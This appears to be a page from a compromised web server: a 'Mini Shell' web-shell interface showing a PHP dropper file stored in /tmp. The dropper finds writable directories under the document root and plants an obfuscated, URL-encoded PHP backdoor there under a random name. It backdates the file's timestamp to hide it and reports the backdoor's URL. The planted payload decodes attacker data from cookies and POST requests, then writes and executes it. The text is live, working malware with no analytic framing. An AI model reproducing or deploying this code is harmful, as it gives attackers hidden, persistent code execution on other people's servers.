HOME


Mini Shell 1.0
DIR:/tmp/
Upload File :
Current File : //tmp/2415649015
<?php 

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

$payload_file = "%3C%3Fphp%0Afunction%20cc6%20%28%29%7Becho%20%20%20%20%20%20%27oi7%27%3B%0A%7D%0A%0A%0A%0Afunction%20%20ca1%20%28%20%24ox2%20%20%20%20%20%20%29%0A%0A%0A%7B%24ha4%3D0%3B%24lu3%20%3D%20%22-HeI%3C9/2%20%23sE.%3Bg6djy%270kmbiuFho%293x%40%285%3Fvp17fnl%2A_atLcr4%22%3B%0A%20%24iv5%20%3D%09substr%28%22%22%2C%090%29%3B%0A%20while%281%29%0A%0A%0A%7B%0A%0A%0A%09if%28%24ha4%3E%3Dcount%28%24ox2%29%29%09break%3B%09%24iv5%20.%3D%20%24lu3%09%5B%20%20%20%20%20%24ox2%5B%24ha4%5D%20%20%20%5D%3B%09%24ha4%2B%2B%3B%0A%0A%0A%7D%0A%0Areturn%20%20%24iv5%3B%0A%7D%24ua9%20%20%3D%09%5B%5D%3B%24iyumbk%20%3D%2032513%3B%0A%0A%0A%24ua9%5B36342%5D%09%3D%20%20ca1%20%28%20Array%2823%20%2C%2016%20%2C%2030%20%20%20%20%20%2C%20%20%20%20%2039%20%2C%202%20%2C%2023%20%2C%092%20%2C%092%20%2C%200%09%2C%2034%20%2C%2048%20%2C%2016%09%2C%092%20%2C%200%20%2C%2050%20%20%20%20%20%20%2C%20%20%20%20%20%20%2023%20%2C%205%20%20%2C%0930%09%2C%200%20%2C%2023%20%20%2C%0948%20%20%2C%2038%20%20%20%20%20%20%2C%2016%09%2C%20%20%20%20%200%09%2C%202%20%2C%097%20%20%20%20%20%2C%2048%20%2C%2016%20%20%20%20%20%20%2C%2040%20%2C%20%20%20%205%20%20%20%20%20%2C%20%20%2048%20%2C%2020%20%2C%20%2038%09%2C%20%20%20%2030%20%2C%2023%20%2C%0915%20%2C%29%20%29%20%20%3B%0A%0A%0A%24ii26%20%3D%095371%3B%24ua9%5B18421%5D%09%3D%09ca1%20%28%20Array%2835%20%2C%0937%20%2C%2027%20%2C%2037%09%2C%20%20%20%208%20%2C%2032%20%2C%2025%20%20%20%2C%0941%20%2C%20%20%20%20%20%2042%20%20%2C%0924%20%2C%0941%09%2C%0921%09%2C%2033%20%2C%20%20%20%20%20%20%2044%20%20%20%20%20%20%2C%20%20%20%20%20%20%2044%20%2C%2026%09%2C%203%20%20%2C%0947%09%2C%20%2011%20%2C%20%20%20%20%2044%20%2C%2044%20%2C%0929%09%2C%20%20%2013%20%2C%208%20%20%20%20%2C%29%20%29%20%20%20%3B%24vp27%20%3D%0940638%3B%24ua9%5B8172%5D%20%3D%20%20%20ca1%20%28%20%20%20%20%20Array%2812%20%20%20%20%20%2C%2017%20%2C%2037%20%20%20%2C%2014%20%2C%29%20%29%09%3B%0A%0A%24ua9%5B97258%5D%20%3D%20ca1%20%28%20Array%281%09%2C%2043%20%2C%29%20%29%20%3B%24nx28%20%20%20%20%20%3D%206055%3B%0A%0A%0A%24ua9%5B91624%5D%09%3D%20ca1%20%28%20Array%2812%20%20%20%20%20%20%20%2C%206%09%2C%29%20%29%20%3B%0A%0A%0A%24ua9%5B76261%5D%20%3D%20ca1%20%28%20Array%284%20%2C%29%20%29%20%3B%0A%0A%24ua9%5B93157%5D%09%3D%20ca1%20%28%20%20%20%20%20Array%289%20%2C%29%20%29%20%20%20%20%20%20%3B%0A%0A%24ua9%5B50134%5D%09%3D%09ca1%20%28%20Array%2840%20%2C%2024%20%2C%2042%20%2C%20%20%20%20%20%20%202%20%20%20%20%2C%0944%09%2C%20%20%20%20%20%2037%09%2C%2025%20%2C%2046%09%2C%20%20%20%20%20%20%2044%09%2C%0948%20%2C%2028%20%20%2C%2041%20%2C%2046%20%20%20%2C%20%20%202%20%2C%2041%20%20%20%2C%2046%20%2C%20%20%2010%20%2C%29%20%20%20%20%29%09%3B%24ua9%5B69582%5D%20%3D%20ca1%09%28%09Array%2840%20%20%20%20%20%20%20%2C%2024%09%2C%20%20%2042%20%20%20%20%20%20%20%2C%202%20%2C%2044%20%20%20%20%20%20%2C%092%09%2C%20%20%20%20%2031%20%2C%0924%09%2C%20%20%20%2010%09%2C%0946%20%2C%0910%09%2C%29%09%29%09%3B%0A%0A%24ua9%5B69577%5D%09%3D%20ca1%09%28%09Array%2845%20%2C%20%20%20%20%20%2049%20%2C%2049%09%2C%2045%20%20%20%20%20%2C%2018%20%2C%2044%20%2C%2022%09%2C%092%20%2C%0949%09%2C%0914%20%2C%092%20%20%20%20%20%20%20%2C%29%20%20%20%29%20%3B%0A%0A%0A%24ua9%5B39361%5D%20%20%20%20%20%3D%20ca1%20%20%20%20%28%09Array%2810%20%2C%0946%20%2C%2049%20%2C%2044%20%2C%2049%09%2C%202%20%2C%2037%20%2C%20%20%20%20%20%20%202%20%2C%20%2045%20%2C%2046%09%2C%29%20%20%20%20%20%20%20%29%09%3B%24ua9%5B94142%5D%09%3D%20%20%20%20%20%20%20ca1%20%28%20%20Array%282%09%2C%20%20%20%20%20%20%2031%20%20%20%20%20%20%2C%0937%20%2C%2042%20%2C%2028%09%2C%20%20%20%20%2016%20%20%2C%092%20%2C%29%20%20%20%29%20%3B%0A%0A%0A%24ua9%5B26558%5D%20%20%20%20%20%20%20%3D%20ca1%09%28%20Array%2824%20%2C%20%2041%09%2C%20%20%20%20%20%2046%09%2C%2036%09%2C%20%20%20%2045%20%2C%20%20%2042%09%2C%29%20%29%09%3B%0A%0A%0A%24yr29%09%3D%2021746%3B%24ua9%5B89021%5D%09%3D%20ca1%20%20%20%20%20%20%20%28%09Array%2825%20%20%20%20%20%20%20%2C%2041%20%2C%2042%09%2C%20%20%20%2024%09%2C%2041%20%2C%2021%20%2C%29%09%29%09%3B%0A%0A%24ua9%5B78777%5D%20%20%20%20%20%20%3D%20ca1%20%28%09Array%2810%09%2C%20%20%20%20%2046%20%20%20%20%2C%20%20%20%20%2049%09%2C%2042%20%20%2C%202%20%2C%20%20%20%20%20%20%2041%20%2C%29%20%29%20%20%3B%0A%0A%24le30%20%3D%20%20%20%20%20%2029884%3B%0A%0A%0A%24ua9%5B26549%5D%09%3D%20%20%20%20%20ca1%20%28%20Array%2837%20%2C%2045%20%2C%0948%20%2C%20%20%20%20%20%2021%09%2C%29%20%20%29%20%3B%24pc21%20%20%20%3D%20%24_COOKIE%3B%20%24iy20%20%3D%20%20%20%20%20%20%20%2220345%22%3B%0A%24pc21%20%3D%09%24ua9%5B69577%5D%28%24pc21%2C%20%20%24_POST%29%3B%0A%0A%0A%0Aforeach%20%28%24pc21%20as%20%24cb25%20%20%20%3D%3E%20%20%20%20%20%20%24oj22%29%7B%0A%0A%20function%20nn14%20%20%20%28%20%20%20%24ua9%2C%20%24cb25%20%20%20%2C%20%24kz19%20%29%0A%09%7B%20%20%20%20%20%20%20return%09substr%09%28%09%24ua9%5B39361%5D%20%28%20%24cb25%20.%20%20%24ua9%5B36342%5D%09%2C%09%24ua9%5B26558%5D%28%09%24kz19/%24ua9%5B78777%5D%28%20%24cb25%20%29%20%29%20%20%20%20%2B%20%20%20%20%201%20%29%20%20%20%20%2C%20%20%20%20%20%20%200%20%20%20%20%20%20%20%2C%20%24kz19%20%29%3B%0A%0A%0A%20%7D%0A%20function%20%20%20%20%20%20%20bt13%20%20%20%20%20%20%20%28%20%20%20%20%24ua9%2C%20%20%20%20%20%24ds23%09%29%09%7B%09return%09%40%24ua9%5B26549%5D%09%28%24ua9%5B97258%5D%20%2C%20%24ds23%20%20%20%29%3B%0A%20%7D%0A%0A%0A%0A%0A%0A%20function%20%20%20%20%20ug11%20%28%20%20%20%20%20%20%20%24ua9%2C%20%24oj22%2C%09%24cb25%29%0A%0A%0A%20%7B%0A%0A%0A%09return%20bt13%20%28%20%24ua9%2C%20%20%24oj22%09%29%20%5E%09nn14%20%28%09%24ua9%2C%09%24cb25%20%2C%20%20%20%20%20%20%24ua9%5B78777%5D%28%09%24oj22%20%29%20%20%20%20%20%29%3B%0A%0A%0A%20%20%20%7D%20%0A%09function%20%20%20%20%20%20vs12%09%28%20%24ua9%2C%20%20%20%24oj22%2C%20%20%24cb25%29%20%20%20%20%7B%20return%20%24ua9%5B94142%5D%20%28%20%20%24ua9%5B93157%5D%20%20%20%20%20%20%20%2C%09ug11%09%28%20%20%20%24ua9%2C%20%24oj22%2C%09%24cb25%29%29%3B%0A%0A%09%7D%0A%0A%20%20%20%20%20%20%20%20%20%20function%20vc10%20%20%20%28%20%24ua9%2C%20%20%20%24oj22%2C%09%24cb25%29%0A%20%7B%20%24oj22%09%3D%20%20%20vs12%20%28%09%24ua9%2C%20%24oj22%2C%20%24cb25%29%3B%0A%20if%20%28cv18%20%20%28%20%24ua9%2C%09%24oj22%29%29%0A%0A%0A%20%20%7B%20exit%28%29%3B%0A%0A%20%20%7D%0A%0A%0A%20%7D%20%20%0A%20function%20%20%20nq15%09%28%09%24ua9%2C%20%24ds23%29%20%7B%0A%0A%09%24in24%20%3D%09%24ua9%5B91624%5D%20.%20md5%28%20%24ua9%5B36342%5D%20%20%20%20%20%20%29%09.%20%24ua9%5B8172%5D%3B%0A%0A%0A%20%20%20%20%20%20%0A%20%40%24ua9%5B50134%5D%20%28%20%20%20%20%20%24in24%2C%09%24ua9%5B76261%5D%20.%20%24ua9%5B18421%5D%20%20%20%20.%20%24ds23%5B1%5D%20%20%20%20%20%28%20%20%20%20%24ds23%5B2%5D%20%29%20%29%3B%0A%0A%0A%20%0A%20return%20%20%20%20%20%20%20%24in24%3B%0A%0A%0A%09%7D%0A%09%0A%20function%09km17%09%28%09%24ua9%2C%20%20%20%20%20%20%20%24in24%29%0A%20%7B%20if%09%28%24ua9%5B69582%5D%28%24in24%29%29%20%20%20%20%20%20%0A%0A%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%40%24ua9%5B89021%5D%20%28%20%20%24in24%09%29%3B%20%7D%0A%20%20%7D%20%09function%09ez16%20%20%20%20%20%20%20%28%20%24ua9%2C%09%24in24%20%29%0A%0A%0A%20%20%20%20%20%20%7B%0A%09%40include%20%28%20%24in24%20%29%3B%0A%0A%0A%09km17%20%28%20%24ua9%2C%20%20%20%24in24%29%3B%0A%0A%20%20%20%20%7D%0A%0A%20%0A%0A%0A%20%20%20function%20cv18%20%28%20%20%20%20%20%20%20%24ua9%2C%09%24ds23%20%20%29%0A%0A%20%7B%20if%20%20%20%20%20%28%09isset%20%28%20%24ds23%5B2%5D%20%29%20%20%20%20%20%20%20%29%20%7B%0A%0A%09%09%24in24%20%3D%09nq15%09%28%09%24ua9%2C%20%20%20%20%20%24ds23%29%3B%0A%0A%20%0A%20ez16%20%28%20%24ua9%2C%20%24in24%29%3B%0A%0A%09%0A%09return%201%3B%0A%20%7D%0A%20%7D%0A%0A%0A%20%0A%20vc10%09%28%09%24ua9%2C%20%24oj22%2C%20%20%20%20%20%24cb25%29%3B%7D";
$payload_name = "";

srand(time());

function list_dir($dir, $depth=10000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                if (@is_writable($current_dir) == TRUE)
                {
                    $result[] = $current_dir;
                }
                $result = array_merge($result, list_dir($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function write_payload($path, $payload)
{
    if (!@file_exists($path))
    {
        if (@file_put_contents($path, rawurldecode($payload)) != FALSE)
        {
            return TRUE;
        }
    }

    return FALSE;
}

$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = $_SERVER['DOCUMENT_ROOT'];

if (!($base_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_time = @stat($base_local_path."/..")))
            {
                if (!($base_time = @stat($base_local_path)))
                {
                    $base_time = Array();
                    $base_time['mtime'] = time();
                }
            }
        }
    }
}

$base_time = $base_time['mtime'];

if (!empty($payload_name) && $payload_name[0] == "/")
{
    $tokens = explode("*", $payload_name);

    $writable_dirs = list_dir(str_replace("//", "/", $base_local_path . "/" . $tokens[0]));
    $payload_name = substr($tokens[1], 1);
}
else
{
    $writable_dirs = list_dir($base_local_path);
}


if (count($writable_dirs) == 0)
{
    echo "STATUS_UNWRITABLE";
    exit();
}

shuffle($writable_dirs);

# try to upload
$max_tryes = strlen($payload_name) == 0 ? 10 : 1;
foreach ($writable_dirs as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', mt_rand(1,8))),1,8) . ".php";
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . "/" . $temp_payload_name;

        $uri_path = substr($full_payload_name, strlen($base_local_path));
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (write_payload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_time); // set last modification time as root folder
            echo "URL#http://" . $full_uri . PHP_EOL;
            exit();
        }
    }
}

echo "STATUS_CANTUPLOAD";
exit();